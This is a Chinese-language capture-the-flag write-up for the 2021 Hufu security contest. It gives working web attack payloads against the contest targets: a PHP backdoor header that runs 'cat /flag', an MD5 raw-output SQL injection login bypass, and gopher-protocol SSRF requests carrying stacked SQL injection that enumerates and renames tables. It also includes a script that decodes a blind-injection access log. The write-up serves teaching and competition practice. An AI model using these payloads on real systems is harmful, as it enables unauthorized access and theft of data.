首页 > 其他分享 >2021数字中国创新大赛虎符网络安全赛-Writeup

2021数字中国创新大赛虎符网络安全赛-Writeup

时间:2023-06-19 22:07:22浏览次数:41  
标签:网络安全 admin Writeup mochu7 253A% 253Dmochu7% 2021 password 250AContent



文章目录

  • Web
  • 签到
  • “慢慢做”管理系统
  • Misc
  • 你会日志分析吗



Web

签到

2021数字中国创新大赛虎符网络安全赛-Writeup_ci


2021数字中国创新大赛虎符网络安全赛-Writeup_php_02


http://cn-sec.com/archives/313267.html

User-Agentt: zerodiumsystem("cat /flag");

2021数字中国创新大赛虎符网络安全赛-Writeup_ci_03

“慢慢做”管理系统

2021数字中国创新大赛虎符网络安全赛-Writeup_字段_04


2021数字中国创新大赛虎符网络安全赛-Writeup_ci_05


根据题目提示,这里第一步登录应该利用一些字符串被md5($string,true)之后会形成如下,从而造成注入

PS C:\Users\Administrator\Downloads> php -r "var_dump(md5('ffifdyop',true));"
Command line code:1:
string(16) "'or'6�]��!r,��b"
PS C:\Users\Administrator\Downloads>

但是遗憾的是这里的ffifdyop,被过滤了

2021数字中国创新大赛虎符网络安全赛-Writeup_字段_06


所以我们需要寻找另一个能和ffifdyop达到同样效果的字符,搜索引擎找一找


PS C:\Users\Administrator\Downloads> php -r "var_dump(md5('129581926211651571912466741651878684928',true));"
Command line code:1:
string(16) "�T0D��o#��'or'8"
PS C:\Users\Administrator\Downloads>
/?username=admin&password=129581926211651571912466741651878684928

成功登录

2021数字中国创新大赛虎符网络安全赛-Writeup_php_07


根据题目的提示,直接在内网找一下admin.php

/ssrf.php?way=127.0.0.1%2Fadmin.php

2021数字中国创新大赛虎符网络安全赛-Writeup_php_08


抓一下这个后台管理系统的包,然后整理一下这个127.0.0.1/admin.php的包,通过gopher协议发送POST数据过去看一下,用python简单处理下

from urllib.parse import quote

payload = "username=mochu7&password=mochu7"

postdata = """
POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(len(payload),payload)

final_payload = 'gopher://127.0.0.1:80/_'+ quote(quote(postdata))
print(final_payload)
print(postdata)
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252031%250A%250Ausername%253Dmochu7%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_php_09


成功发送,接下来测试一下注入,加个单引号看看

username=mochu7'&password=mochu7

直接报错了

2021数字中国创新大赛虎符网络安全赛-Writeup_字段_10


很明显这是注入,不过经过后面的fuzz测试发现这里存在,而且这个回显我看着就非常眼熟

username=mochu7';show databases#&password=mochu7
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252048%250A%250Ausername%253Dmochu7%2527%253Bshow%2520databases%2523%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_字段_11

Databases:
ctf
ctf2
information_schema

接着查

username=mochu7';use ctf;show tables#&password=mochu7
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252053%250A%250Ausername%253Dmochu7%2527%253Buse%2520ctf%253Bshow%2520tables%2523%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_ci_12

username=mochu7';use ctf2;show tables#&password=mochu7
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252054%250A%250Ausername%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520tables%2523%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_字段_13

Tables_in_ctf:
users
Tables_in_ctf2:
fake_admin
real_admin_here_do_you_find

我们想要找的是真正的admin密码

username=mochu7';use ctf2;show columns from `fake_admin`#&password=mochu7
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252073%250A%250Ausername%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520columns%2520from%2520%2560fake_admin%2560%2523%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_ci_14

username=mochu7';use ctf2;show columns from `real_admin_here_do_you_find`#&password=mochu7
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252090%250A%250Ausername%253Dmochu7%2527%253Buse%2520ctf2%253Bshow%2520columns%2520from%2520%2560real_admin_here_do_you_find%2560%2523%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_php_15


本来应该继续查字段内容得到real_admin_here_do_you_find表中的password字段内容,但是这里过滤selecthandler等,比赛的时候也就没去研究怎么查询到字段数据了,因为这题很明显像之前强网杯那题,我对那题有印象记得当时有一个通过修改想要查询的表的表名(real_admin_here_do_you_find)为当前使用的表(fake_admin),然后构造一下注入得到当前表的数据的做法

username=mochu7';rename table fake_admin to mochu7;rename table real_admin_here_do_you_find to fake_admin#&password=mochu7
gopher://127.0.0.1:80/_%250APOST%2520/admin.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%2520122%250A%250Ausername%253Dmochu7%2527%253Brename%2520table%2520fake_admin%2520to%2520mochu7%253Brename%2520table%2520real_admin_here_do_you_find%2520to%2520fake_admin%2523%2526password%253Dmochu7%250A

2021数字中国创新大赛虎符网络安全赛-Writeup_ci_16

username=mochu7'or 1=1;show tables;#&password=mochu7

2021数字中国创新大赛虎符网络安全赛-Writeup_php_17


得到真正的admin密码:5fb4e07de914cfc82afb44vbaf402203 最后传入真正的admin账户名和密码

username=admin&password=5fb4e07de914cfc82afb44vbaf402203

提示我们访问/flag.php,并且查看源码拿着cookie去

2021数字中国创新大赛虎符网络安全赛-Writeup_php_18


2021数字中国创新大赛虎符网络安全赛-Writeup_ci_19

Misc

你会日志分析吗

时间盲注日志分析

2021数字中国创新大赛虎符网络安全赛-Writeup_php_20


发现每一位中的这些测试包,都有一个包长度与其他的不一样,那这一位应该就是正确的flag,直接用Python简单处理下

from base64 import *

flag = ''
with open('access.log','r') as f:
    lines = f.readlines()
    for line in lines:
        if "select%20flag%20from%20flllag" in line:
            packet_len = line[line.find(' 200 ')+5:line.find(' "-" "python-requests/2.21.0"')]
            if packet_len == '377':
                ascii_code = line[line.find('))=')+3:line.find(',sleep')]
                ascii_str = chr(int(ascii_code))
                flag += ascii_str
            else:
                pass
        else:
            pass

print(b64decode(flag).decode('utf-8'))
flag{You_are_so_great}


标签:网络安全,admin,Writeup,mochu7,253A%,253Dmochu7%,2021,password,250AContent
From: https://blog.51cto.com/u_16159500/6517816

相关文章

  • 第十四届全国大学生信息安全竞赛-线上赛Writeup
    文章目录场景实操开场卷WEBeasy_sqleasy_sourceMISCtinytrafficrunning_pixel场景实操二阶卷WEBmiddle_sourceMISC隔空传话场景实操冲刺卷MISCrobot场景实操开场卷WEBeasy_sql有sql报错简单fuzz了一下发现过滤了union、information、column、inno等关键字。无表名,无列名注入......
  • 2021-DASCTF-三月赛-Writeup
    文章目录WEBBestDBez_serializebaby_flaskez_loginMISC签到简单的png隐写雾都孤儿小田的秘密Ascii_art问卷调查和团队的师傅们组队拿了个第十,师傅们带飞,我就是团队的MVP(MostVegetablePeople)WEBBestDB简单的SQL注入/?query=mochu"or/**/1=1%23/?query=mochu"order/**/by/**/......
  • 2020 纵横杯 线上赛 MISC部分Writeup
    文章目录签到马赛克My_Secret问卷调查签到oct_str='[0146,0154,0141,0147,0173,0167,063,0154,0143,0157,0155,0145,0137,0164,0157,0137,062,0157,0156,0147,0137,0150,063,0156,0147,0137,0142,0145,061,0175]'oct_list=oct_str.replace(&q......
  • 白帽子社区端午节活动-白帽寻宝记-纪念屈原Writeup
    搜索引擎找一下即可得知:姓:芈氏:屈名:平字:原md5(芈屈平原,32)=16ccb09f96f27af192f541992560d695解压后先查看文件先来看看这个吧在两张图片的的中间存在一串base64解码得到WingDing编码◻︎♋︎⬧︎⬧︎⬥︎□︎❒︎♎︎♓︎⬧︎♋︎♌︎❍︎◻︎♐︎♓︎●︎♏︎⬥︎♓︎⧫︎♒︎♋︎♌︎♓︎⧫︎♎︎♏︎◻︎⧫︎♒︎□︎♐︎......
  • 第四届BJDCTF 4th-部分Writeup
    文章目录Webeasy_phpMisc马老师的秘籍FakePicCryptoasaReverseEasyVHWebeasy_php经过简单代码审计,发现可以通过变量覆盖来读取文件?var[template][tp1]=/etc/passwd&tp=tp1之后使用php://filter伪协议读取template.php的源码?var[template][tp1]=php://filter/read=convert.base......
  • 2022 RealWorld CTF体验赛Writeup
    文章目录DigitalSouvenirlog4flagBe-a-Database-HackertheSecretsofMemorybabyflaglabFlagConsoleBe-a-Database-Hacker2JavaRemoteDebuggerDigitalSouvenirrwctf{RealWorldIsAwesome}log4flag有一些正则过滤网上bypass方法很多,随便找一个就行${${::-j}ndi:${lower:r......
  • “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-
    文章目录checkinprojectJumpJumpTigerwhere_can_find_code题目附件请自取:链接:https://pan.baidu.com/s/1T9nG-CDg_D8QYQZapuxucg提取码:2wubcheckin+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-UTF-7编码UTF-7在线解码站:http://toolswebtop.com/text/process/decode/utf-7flag{dhb_......
  • 第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec
    文章目录WebunzipdumpitBackendServicePwn烧烤摊儿funcanaryshellwebgoReverseezbytebabyreCrypto基于国密SM2算法的密钥密文分发可信度量Sign_in_passwdMisc签到卡被生产加密的流量国粹pyshellWebunzipln-s/var/www/html/webshellzip-rywebshell.zipwebshellcurlurl/......
  • 第四届“安洵杯”网络安全挑战赛MISC-Writeup
    文章目录应该算是签到CyzCC_loves_LOLCthulhuMythoslovemath题目附件请自取链接:https://pan.baidu.com/s/13TwadE6DenseIuRUNZlCKg提取码:rrpe应该算是签到B站搜索直接搜索这个BV号直接页面Ctrl+F没找出来搜索引擎找一下有没有通过API查弹幕的方法:https://www.bilibili.com......
  • 第一届赣网杯网络安全大赛 2020GW-CTF Misc_Writeup
    目录签到CheckinfaceDestroyJavaHidepig签到Checkinflag{welc0me_to_ganwangbei}faceLennyfuckinterpreterhttps://github.com/Knorax/Lennyfuck_interpreter跟着对照表替换即可++++++++++[->++++++++++<]>++.++++++.<+++[->---<]>--.++++++.<++++[->++++<......